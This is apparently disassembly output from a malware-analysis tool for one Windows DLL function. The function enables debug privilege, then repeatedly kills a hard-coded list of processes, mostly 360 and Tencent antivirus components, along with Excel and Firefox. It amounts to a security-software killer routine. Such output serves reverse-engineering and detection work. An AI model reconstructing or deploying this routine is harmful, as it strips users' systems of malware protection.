Function at 0x180001220
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x38
mov rax, qword [0x18001e008]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rsp + 0x20]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call rax
lea rcx, str.NSIS.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001290
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800012b3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800012b3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.Calc.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800012e2
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001305
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001305
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.QMDL.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001334
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001357
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001357
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.QQPCRTP.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001386
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800013a9
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800013a9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.QQPCTray.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800013d8
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800013fb
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800013fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360rp.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000142a
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000144d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000144d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.EXCEL.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000147c
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000149f
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000149f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360sdupd.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800014ce
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800014f1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800014f1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360huabao.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001520
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001543
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001543
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360rps.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001572
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001595
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001595
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.DSMain.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800015c4
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800015e7
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800015e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360sd.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001616
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001639
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001639
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.DumpUper.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001668
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000168b
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000168b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.FireFox.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800016ba
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800016dd
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800016dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.Calc.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000170c
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000172f
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000172f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.xdict.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000175e
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001781
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001781
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360Safe.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800017b0
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800017d3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800017d3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360tray.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001802
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001825
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001825
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360Tray.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x180001854
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x180001877
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001877
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360huabao.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800018a6
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800018c9
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800018c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360speedld.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800018f8
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000191b
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000191b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.360LogCenter.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000194a
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x18000196d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x18000196d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.LiveUpdate360.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x18000199c
lea rcx, str.openprocess_failed...
call fcn.180001010
jmp 0x1800019bf
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800019bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
lea rcx, str.ZhuDongFangYu.exe
call fcn.180001070
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1800019fc
lea rcx, str.openprocess_failed...
call fcn.180001010
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001261
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180001a1f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR:error_no_is_:_d_n
call fcn.180001010
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180001261